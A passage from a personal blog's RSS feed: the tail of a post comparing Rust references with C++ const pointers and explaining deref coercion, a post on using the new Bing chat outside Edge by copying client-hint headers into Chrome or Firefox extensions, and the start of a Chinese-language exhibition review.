<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">const</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> int</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">b </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">a2;</span></span></code></pre>
</div><p>In this case, we declare <code>b</code> to be a low-level constant pointer.</p>
<p>By contrast, top-level <code>const</code> means that the variable to which <code>c</code> points may not be <code>const</code>, but the pointer <code>c</code> itself cannot be edited. We cannot make <code>c</code> point to another variable.</p>
<p>Therefore, when we consider <code>references</code> in C++, they are naturally top-level <code>const</code>.</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">d </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> a;</span></span></code></pre>
</div><p>The &quot;location&quot; it refers to is fixed and assigned when the <code>reference</code> is defined. <code>d</code> is simply an alias of <code>a</code>, nothing more.</p>
<p>Come back to Rust, we can define similar things like the above pointers.</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello new world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span></code></pre>
</div><p>Here, <code>s3</code> is a low-level, mutable reference. The last line changes the value of the variable that <code>s3</code> refers to, namely <code>s1</code>. After this, the value of <code>s1</code> is <code>“hello new world”</code> and <code>s3</code> still refers to <code>s1</code>.</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello another new world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s1;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s2;</span></span></code></pre>
</div><p>In this case, <code>s4</code> is a top-level mutable reference. The last line changes the “location” that <code>s4</code> refers to.</p>
<p>Originally, <code>s4</code> referred to <code>s1</code>, whose value was <code>&quot;hello world&quot;</code>. After the last line was executed, <code>s4</code> now referred to <code>s2</code>, whose value was <code>&quot;hello another new world&quot;</code>.</p>
<h2 id="_3-automatic-dereferencing-deref-coercion" tabindex="-1">3. Automatic Dereferencing / Deref <strong>Coercion</strong> <a class="header-anchor" href="#_3-automatic-dereferencing-deref-coercion" aria-label="Permalink to “3. Automatic Dereferencing / Deref Coercion”">&#8203;</a></h2>
<p>Things seem no different from pointers in C/C++, don't they? However, it gets more complicated because they are <code>references</code>, which means they must act like aliases.</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1;</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">println!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{}"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, s3</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">len</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">());</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">println!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{}"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, (</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">*</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s3)</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">len</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">());</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">println!</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{}"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, s1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">len</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">());</span></span></code></pre>
</div><p>It works. The outputs are the same. <code>s3</code> can be treated as an alias of <code>s1</code> here.</p>
<p>But:</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1;</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// *s3 = String::from("hello new world");</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s3 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello new world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">); </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// This doesn't work!</span></span></code></pre>
</div><p>If we remove the dereference sign (*), the assignment won't work. <code>s3</code> cannot be used as an alias for <code>s1</code>; it is merely a pointer.</p>
<p>And in the top-level case:</p>
<div class="language-rust"><button title="Copy Code" class="copy"></button><span class="lang">rust</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s1 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s2 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> String</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">::</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">from</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"hello another new world"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">let</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> mut</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> s4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s1;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s4 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> &#x26;</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">s2; </span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// This works!</span></span></code></pre>
</div><p>We don't use <code>*</code> here and this time it works. We <strong>DO NOT</strong> want the compiler to treat <code>s4</code> as an alias. Instead, we want it to point to another location, such as from <code>s1</code> to <code>s2</code>.</p>
<p>Let's take a closer look at how the <code>reference</code> behaves, such as if it is an alias or a pointer. Here are the descriptions:</p>
<ul>
<li>
<p>From <a href="https://doc.rust-lang.org/std/primitive.reference.html" target="_blank" rel="noreferrer">https://doc.rust-lang.org/std/primitive.reference.html</a></p>
<blockquote>
<p>The following traits are implemented for all <code>&amp;T</code>, regardless of the type of its referent:</p>
<ul>
<li><a href="https://doc.rust-lang.org/std/marker/trait.Copy.html" target="_blank" rel="noreferrer"><code>Copy</code></a></li>
<li><a href="https://doc.rust-lang.org/std/clone/trait.Clone.html" target="_blank" rel="noreferrer"><code>Clone</code></a> (Note that this will not defer to <code>T</code>’s <code>Clone</code> implementation if it exists!)</li>
<li><a href="https://doc.rust-lang.org/std/ops/trait.Deref.html" target="_blank" rel="noreferrer"><code>Deref</code></a></li>
<li><a href="https://doc.rust-lang.org/std/borrow/trait.Borrow.html" target="_blank" rel="noreferrer"><code>Borrow</code></a></li>
<li><a href="https://doc.rust-lang.org/std/fmt/trait.Pointer.html" target="_blank" rel="noreferrer"><code>fmt::Pointer</code></a></li>
</ul>
</blockquote>
</li>
<li>
<p>From <a href="https://doc.rust-lang.org/reference/expressions/field-expr.html#automatic-dereferencing" target="_blank" rel="noreferrer">https://doc.rust-lang.org/reference/expressions/field-expr.html#automatic-dereferencing</a></p>
<blockquote>
<p>If the type of the container operand implements Deref or DerefMut depending on whether the operand is mutable, it is automatically dereferenced as many times as necessary to make the field access possible. This processes is also called autoderef for short.</p>
</blockquote>
</li>
<li>
<p>From <a href="https://doc.rust-lang.org/reference/expressions/method-call-expr.html" target="_blank" rel="noreferrer">https://doc.rust-lang.org/reference/expressions/method-call-expr.html</a></p>
<blockquote>
<p>The first step is to build a list of candidate receiver types. Obtain these by repeatedly <a href="https://doc.rust-lang.org/reference/expressions/operator-expr.html#the-dereference-operator" target="_blank" rel="noreferrer">dereferencing</a> the receiver expression's type, adding each type encountered to the list, then finally attempting an <a href="https://doc.rust-lang.org/reference/type-coercions.html#unsized-coercions" target="_blank" rel="noreferrer">unsized coercion</a> at the end, and adding the result type if that is successful. Then, for each candidate <code>T</code>, add <code>&amp;T</code> and <code>&amp;mut T</code> to the list immediately after <code>T</code>.</p>
</blockquote>
</li>
</ul>
<p>All primitive references have a trait called <code>Deref</code>. Two mechanisms, &quot;automatic dereferencing&quot; and &quot;Deref coercion&quot;, can use <code>Deref</code> to implement &quot;referencing&quot; behavior.</p>
<p>Generally, in the following cases, reference <code>A</code> acts as an alias:</p>
<ul>
<li><code>A.attribute_1</code></li>
<li><code>A.method_2(B)</code></li>
<li><code>B.method_3(A)</code></li>
<li><code>function_4(A)</code></li>
</ul>
<p>Otherwise, <code>A</code>  acts as a pointer, including:</p>
<ul>
<li><code>A = B</code></li>
<li><code>if A == B {…}</code></li>
<li><code>match A { B =&gt; … }</code></li>
</ul>
<p>For more information on coercion, check out the following links:</p>
<p><a href="https://stackoverflow.com/questions/62851229/why-does-rust-not-perform-implicit-deref-coercion-in-match-patterns" target="_blank" rel="noreferrer">Why does Rust not perform implicit deref coercion in match patterns?</a></p>
<p><a href="https://doc.rust-lang.org/1.30.0/book/first-edition/deref-coercions.html#deref-coercions" target="_blank" rel="noreferrer">The Rust Programming Language</a></p>
<p><a href="https://www.possiblerust.com/guide/what-can-coerce-and-where-in-rust" target="_blank" rel="noreferrer">What Can Coerce, and Where, in Rust</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Use New Bing in Any Browser]]></title>
            <link>https://blog.yanli.one/use-new-bing-in-any-browser</link>
            <guid isPermaLink="false">https://blog.yanli.one/use-new-bing-in-any-browser</guid>
            <pubDate>Wed, 15 Feb 2023 16:00:00 GMT</pubDate>
            <description><![CDATA[How to use the new Bing AI assistant in any browser]]></description>
            <content:encoded><![CDATA[<p>With the introduction of AI assistants like ChatGPT and the new Bing, I am absolutely thrilled. After exploring the new Bing, I am amazed at the capabilities it has to offer. It is incredibly user-friendly and allows me to easily search for information.</p>
<p>However, Bing is currently only available in Microsoft Edge. This post explains how to use the new Bing AI assistant in any browser, using Microsoft Edge's debug tool and plugins for Chrome and Firefox.</p>
<p>Firstly, Open Microsoft Edge and press F12 to open its debug tool. Switch to the &quot;Network&quot; tab.</p>
<p><img src="./Untitled.png" alt="Untitled" loading="lazy"></p>
<p>Open <a href="https://www.bing.com/search?q=Bing+AI&amp;showconv=1&amp;FORM=hpcodx" target="_blank" rel="noreferrer">new Bing chat</a> and select the first item in the &quot;Network&quot; tab. This should be a request to the Bing page with a status code of 200. Find <strong>Request Headers</strong> in the tab.</p>
<p><img src="./Untitled 1.png" alt="Untitled" loading="lazy"></p>
<p>Take note of the entries related to the browser and search page. Copy the following three:</p>
<div class="language-jsx"><button title="Copy Code" class="copy"></button><span class="lang">jsx</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sec</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ch</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">ua</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Chromium"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"110"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Not A(Brand"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"24"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft Edge"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"110"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sec</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ch</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ua</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">full</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">version</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"110.0.1587.46"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">sec</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ch</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ua</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">full</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">version</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">list</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">: </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Chromium"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"110.0.5481.77"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Not A(Brand"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"24.0.0.0"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Microsoft Edge"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;v</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"110.0.1587.46"</span></span></code></pre>
</div><p>It is recommended to copy the value in your own browser rather than using the provided ones, as they may not be up to date.</p>
<p><img src="./Untitled 2.png" alt="Untitled" loading="lazy"></p>
<p>Then set up these headers in your main browser with some plugins.</p>
<h3 id="for-chrome" tabindex="-1">For Chrome: <a class="header-anchor" href="#for-chrome" aria-label="Permalink to “For Chrome:”">&#8203;</a></h3>
<p>Install ModHeader:</p>
<p><a href="https://chrome.google.com/webstore/detail/modheader-modify-http-hea/idgpnmonknjnojddfkpgkljpfnnfcklj" target="_blank" rel="noreferrer">ModHeader - Modify HTTP headers</a></p>
<p>Config as follows:</p>
<p><img src="./Untitled 3.png" alt="Untitled" loading="lazy"></p>
<h3 id="for-firefox" tabindex="-1">For Firefox: <a class="header-anchor" href="#for-firefox" aria-label="Permalink to “For Firefox:”">&#8203;</a></h3>
<p>Install Modify Header Value:</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/modify-header-value/" target="_blank" rel="noreferrer">Modify Header Value – Get this Extension for 🦊 Firefox (en-US)</a></p>
<p>Open the options page and add the headers as follows:</p>
<p><img src="./Untitled 4.png" alt="Untitled" loading="lazy"></p>
<p>That's done! Now you can open the <a href="https://www.bing.com/search?q=Bing+AI&amp;showconv=1&amp;FORM=hpcodx" target="_blank" rel="noreferrer">new Bing chat</a> in your browser and experience its power!</p>
<p>This post was written with the help of Notion AI. Artificial Intelligence tools are sure to revolutionize our lives and production in the near future, if not already. I'm excited to see what the future holds.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[观展《巴黎人 2050 & 东北人 2050》]]></title>
            <link>https://blog.yanli.one/visit-parisian-2050-northeasterner-2050</link>
            <guid isPermaLink="false">https://blog.yanli.one/visit-parisian-2050-northeasterner-2050</guid>
            <pubDate>Tue, 14 Jun 2022 16:00:00 GMT</pubDate>
            <description><![CDATA[我们都如此缺乏想象力，以至于我们想象的未来都不过是现在的延续。]]></description>
            <content:encoded><![CDATA[<p><img src="./PXL_20220615_105748954.jpg" alt="PXL_20220615_105748954.jpg" loading="lazy"></p>
<p>这个展览的名字就让我提起了兴趣：《巴黎人 2050 &amp; 东北人 2050》。可惜后者只是没有介绍的学生作品，只能说聊胜于无吧。前者的确是一组很有意思的作品。</p>
<p>值得注意的是，这组作品创作于 2017 年。在五年后的今天来看这组以“未来”为主题的作品，又有了另一番风趣。</p>
<hr>
<p><img src="./PXL_20220615_105114510.jpg" alt="PXL_20220615_105114510.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_105121881.jpg" alt="PXL_20220615_105121881.jpg" loading="lazy"></p>
<p>公司文化、团建、可穿戴设备、人工智能：一组令人窒息的关键词。不妨叫社畜朋克吧。</p>
<hr>
<p><img src="./PXL_20220615_115239243.jpg" alt="PXL_20220615_115239243.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_110120171.jpg" alt="PXL_20220615_110120171.jpg" loading="lazy"></p>
<p>在 2022 年，我们还能想象这样的理想国未来吗？</p>
<hr>
<p><img src="./PXL_20220615_115252744.jpg" alt="PXL_20220615_115252744.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_110259105.jpg" alt="PXL_20220615_110259105.jpg" loading="lazy"></p>
<p>我的第一反应是“鼓掌表决”或者“不同意的请举手”这样的东西。不过法国人大概不会 get 到这个点。</p>
<p>这个作品的落脚点在于社交媒体的网红效应以及其背后的大众性和匿名性。进一步而言可以联想到带有回声壁效应的舆论表达。在 2017 年后的不久，一种集大成的网红形式出现了：vtuber。</p>
<p>至于它在民主形式角度的表达，应该早有不少相关的讨论了。在五年后的今天，人们已经到了要为马克龙当选而欢呼的地步。</p>
<hr>
<p><img src="./PXL_20220615_111955956.jpg" alt="PXL_20220615_111955956.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_111948581.jpg" alt="PXL_20220615_111948581.jpg" loading="lazy"></p>
<p>尽管作者在简介中使用了积极和消极并有的描述，但画面其实无疑地展现了悲观色彩。汽车尾气、撒尿小狗，它们可以轻易毁掉这脆弱的草图。画家最后的这笔画是台阶，或者是阶级？</p>
<hr>
<p><img src="./PXL_20220615_113442927.jpg" alt="PXL_20220615_113442927.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_113437774.jpg" alt="PXL_20220615_113437774.jpg" loading="lazy"></p>
<p>像大物实验讲义一样让我完全看不懂的简介。</p>
<hr>
<p><img src="./PXL_20220615_112101688.jpg" alt="PXL_20220615_112101688.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112055095.jpg" alt="PXL_20220615_112055095.jpg" loading="lazy"></p>
<p>市民的原子化曾是城市化进程中的大势所趋。但五年后的今天，我们却看到了邻里关系在上海发生了重塑。而与之伴生的，是“居委会”这样一个特色存在。</p>
<hr>
<p><img src="./PXL_20220615_112701066.jpg" alt="PXL_20220615_112701066.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112728470.jpg" alt="PXL_20220615_112728470.jpg" loading="lazy"></p>
